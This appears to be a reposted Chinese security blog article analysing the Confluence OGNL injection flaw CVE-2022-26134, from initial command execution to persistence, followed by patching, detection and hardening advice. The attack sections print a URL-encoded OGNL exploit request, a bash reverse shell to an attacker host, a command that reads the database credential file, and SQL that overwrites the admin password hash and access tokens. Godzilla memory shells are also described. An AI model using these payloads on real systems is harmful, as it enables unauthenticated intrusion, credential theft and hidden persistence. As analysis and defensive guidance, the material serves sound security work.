当前位置: 首页 > news >正文

从CVE-2022-26134到权限维持:Confluence OGNL注入漏洞的深度利用链剖析

1. CVE-2022-26134漏洞初探:当Confluence遇上OGNL表达式

Confluence作为Atlassian旗下的企业级知识管理工具,被全球数万家企业用于团队协作和文档共享。但正是这样一个看似安全的系统,在2022年曝出了一个足以让攻击者"一键接管"服务器的致命漏洞——CVE-2022-26134。这个漏洞的特殊之处在于,它利用了OGNL(Object-Graph Navigation Language)表达式的解析机制,通过精心构造的HTTP请求,就能在目标服务器上执行任意命令。

我第一次复现这个漏洞时,发现它的触发条件简单得令人惊讶。攻击者只需要发送一个特制的URI请求,这个URI中的特殊字符会被Confluence错误地解析为OGNL表达式。比如${@java.lang.Runtime@getRuntime().exec("calc")}这样的表达式,会被服务器当作代码执行。在实际攻击中,攻击者往往会将恶意代码进行URL编码,就像这样:

GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/ HTTP/1.1 Host: vulnerable-confluence-server

受影响的Confluence版本范围相当广泛,从6.13.0到7.18.0之间的多个版本都存在风险。我在测试环境中搭建了一个7.15.0版本的Confluence,使用vulhub提供的Docker镜像可以快速复现这个漏洞:

docker-compose up -d confluence:7.15.0

漏洞的严重性在于它不需要任何认证,这意味着任何能访问Confluence服务的人都可以利用它。更可怕的是,由于OGNL表达式功能强大,攻击者不仅能执行系统命令,还能直接操作Java对象、访问服务器内存中的数据,这为后续的权限维持打开了方便之门。

2. 从命令执行到权限维持:攻击链的深度剖析

2.1 初始入侵:命令执行的多种姿势

当攻击者发现存在漏洞的Confluence服务器后,第一步通常是验证漏洞是否存在。最简单的方法是执行idwhoami这样的基础命令。但实际渗透中,攻击者往往会采取更隐蔽的方式。我测试过几种不同的payload,发现通过HTTP响应头返回执行结果是最不容易被发现的:

${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}

这个payload会将命令执行结果放在X-Cmd-Response响应头中返回。对于需要复杂交互的场景,攻击者通常会选择反弹shell。在Linux环境下,可以使用如下bash命令:

bash -c 'exec bash -i &>/dev/tcp/attacker-ip/4444 <&1'

但这里有个坑需要注意:Confluence默认以confluence用户运行,这个用户权限有限,特别是在生产环境中,往往无法直接写入web目录获取webshell。这也是为什么很多攻击者会转向内存马技术。

2.2 权限维持的艺术:内存马植入实战

内存马(Memory Shell)是近年来红队最爱的权限维持技术之一。它不需要在磁盘上写入任何文件,直接驻留在Java应用的内存中,极大降低了被传统杀毒软件发现的概率。在Confluence漏洞利用中,哥斯拉内存马是最流行的选择。

我在测试中使用过BeichenDream开源的Godzilla MEMSHELL工具,它的工作原理是通过OGNL注入将恶意Servlet动态注册到Confluence的Web容器中。注入成功后,攻击者可以使用哥斯拉客户端直接连接,就像这样:

POST /malicious-path HTTP/1.1 Host: target-server Connection: close Content-Type: application/x-www-form-urlencoded payload=加密的哥斯拉指令...

内存马的最大优势是隐蔽性强,但它也有个缺点——服务重启就会失效。因此专业攻击者通常会采取组合策略,在植入内存马的同时,还会尝试获取数据库权限。

3. 数据库渗透:从Confluence用户到系统管理员

3.1 定位和窃取数据库凭证

Confluence的数据库配置通常存储在/var/atlassian/application-data/confluence/confluence.cfg.xml文件中。通过之前获取的命令执行权限,攻击者可以轻松读取这个文件:

cat /var/atlassian/application-data/confluence/confluence.cfg.xml

文件内容类似这样:

<property name="hibernate.connection.password">dbpassword123</property> <property name="hibernate.connection.username">confluenceuser</property> <property name="hibernate.connection.url">jdbc:postgresql://localhost:5432/confluence</property>

有了数据库凭证,攻击者可以直接操作Confluence的所有数据。这里有个技术细节:如果Confluence使用的是PostgreSQL且配置为本地连接,连接地址可能是db而不是localhost,这是很多新手容易踩的坑。

3.2 密码修改与持久化访问

Confluence的用户密码存储在cwd_user表的credential字段中,采用{PKCS5S2}格式的哈希。虽然无法直接解密,但攻击者可以用已知密码的哈希替换原有值。例如,将管理员密码改为123456对应的哈希:

UPDATE cwd_user SET credential='{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm' WHERE user_name='admin';

更隐蔽的做法是修改Personal Access Tokens。这些token允许用户不输入密码就能访问API。攻击者可以查询AO_81F455_PERSONAL_TOKEN表,然后修改其中的HASHED_TOKEN字段:

UPDATE "AO_81F455_PERSONAL_TOKEN" SET "HASHED_TOKEN"='已知token哈希' WHERE "OWNER_ID"=(SELECT id FROM cwd_user WHERE user_name='admin');

在实际渗透测试中,我更喜欢使用自动化工具来完成这些操作。比如PostConfluence这个哥斯拉插件,它能自动完成从数据库连接到密码修改的全过程,大大提高了效率。

4. 防御之道:从漏洞修复到纵深防御

4.1 漏洞修复与补丁管理

对于CVE-2022-26134,Atlassian官方已经发布了修复补丁。企业应立即将Confluence升级到以下安全版本:

  • 7.4.17
  • 7.13.7
  • 7.14.3
  • 7.15.2
  • 7.16.4
  • 7.17.4
  • 7.18.1或更高版本

升级步骤很简单:

  1. 备份当前数据和配置文件
  2. 下载新版安装包
  3. 停止Confluence服务
  4. 安装新版本
  5. 启动服务并验证

但补丁管理只是安全的基础,真正的防护需要纵深防御策略。

4.2 检测与响应:如何发现入侵迹象

根据我的经验,检测Confluence是否被攻击可以从以下几个方面入手:

日志分析:检查atlassian-confluence-security.log中异常的OGNL表达式解析记录,特别是包含java.lang.Runtime等危险类的请求。

网络流量监控:内存马通常会建立长连接,监控异常HTTP请求,特别是带有加密payload的POST请求。

数据库审计:定期检查cwd_userAO_81F455_PERSONAL_TOKEN表的修改记录,设置触发器对关键字段变更进行告警。

文件完整性检查:虽然高级攻击者可能不会修改文件,但仍需监控confluence.cfg.xml等关键配置文件的变更。

4.3 加固建议:让攻击者无从下手

除了基本的补丁更新,我建议采取以下加固措施:

  1. 最小权限原则

    • Confluence运行账户应限制为仅能访问必要的目录
    • 数据库账户使用最小必要权限,禁止超级用户权限
  2. 网络隔离

    • Confluence服务器不应直接暴露在互联网
    • 数据库服务器应与应用服务器隔离,仅开放必要端口
  3. 运行时保护

    • 使用RASP(运行时应用自我保护)技术监控OGNL表达式解析
    • 部署WAF规则拦截包含OGNL特殊字符的请求
  4. 应急响应准备

    • 准备Confluence数据备份和恢复流程
    • 制定内存马检测和清除方案

在最近的一次渗透测试中,我发现一个客户系统虽然打了补丁,但因为内存马未被清除,攻击者仍能通过后门访问。这提醒我们,漏洞修复后必须彻底检查系统,确保没有残留的恶意代码或后门账户。

http://www.gsyq.cn/news/1601893.html

相关文章:

  • 【Springboot毕设全套源码+文档】基于的设计与实现(丰富项目+远程调试+讲解+定制)
  • TVA在具身智能产业化体系的落地案例详解(9)
  • 终极免费桌面分区工具:3步打造整洁高效的Windows工作空间
  • 结构重参数化之四:从Inception到DBB——多分支卷积的等价融合艺术
  • 汽车电子ASIC评估实战:从EVM硬件解析到GUI软件操作全流程
  • Anthropic Mythos:大模型可验证推理的受控发布实践
  • 复制粘贴生成漫剧,2026年漫剧工作流,5款选型指南
  • 实战BCrypt.Net:从盐值生成到密码验证的C#实现详解
  • Windows Cleaner:免费开源的系统清理神器,三步解决C盘爆红和电脑卡顿
  • Java密码学实战:RSA与ECC算法选型、混合加密与性能优化
  • 第一章Netty,如何通过Path获取FileChannel对象
  • 驾驶证翻译件去哪办?翻译驾驶证需要多少钱?要什么资料?
  • 终极慕课助手:3大功能让你在线学习效率翻倍的完整指南
  • 别再手动调用!用Python自动轮询+智能降级策略,将ChatGPT API额度利用率提升至92.6%
  • AI程序员生存指南18-从“被挑选“到“有选择权“:面试主动权掌控术。谈薪资时不敢开口?程序员议价实战指南
  • 如何用 Notion AI 搭建个人知识管理体系?
  • 终极WebRTC远程控制:5大技术优势构建跨平台桌面共享解决方案
  • 3个场景,1个解决方案:用xmly-downloader-qt5重新定义音频数字资产管理
  • tifffile 高效构建 病理级 金字塔 OME-TIFF 图像文件
  • VisualCppRedist AIO:终极一键解决Windows运行库缺失问题的完整指南
  • Mate Engine:免费开源虚拟桌面伴侣的完整使用指南
  • CompressO:三步解决大文件存储与传输难题的开源媒体压缩工具
  • 终极免费字体设计指南:用FontForge从零到专业
  • 【计算机毕业设计案例】基于互联网的个人租房信息交互平台的设计与实现 前后端分离架构下的同城房屋租赁系统(程序+文档+讲解+定制)
  • 代理GEO系统可以修改品牌信息吗
  • 微信聊天记录解密终极指南:轻松找回丢失的对话
  • ElasticSearch+Kibana安全加固实战:从零配置用户认证体系
  • XGP存档提取器:3分钟备份Xbox Game Pass游戏进度,实现跨平台存档迁移
  • 别再手写Prompt了!6大行业高频任务模板(客服/编程/营销/教育/法律/HR),即拷即用,3分钟部署生效
  • 告别连接烦恼:1分钟搞定Windows苹果USB驱动安装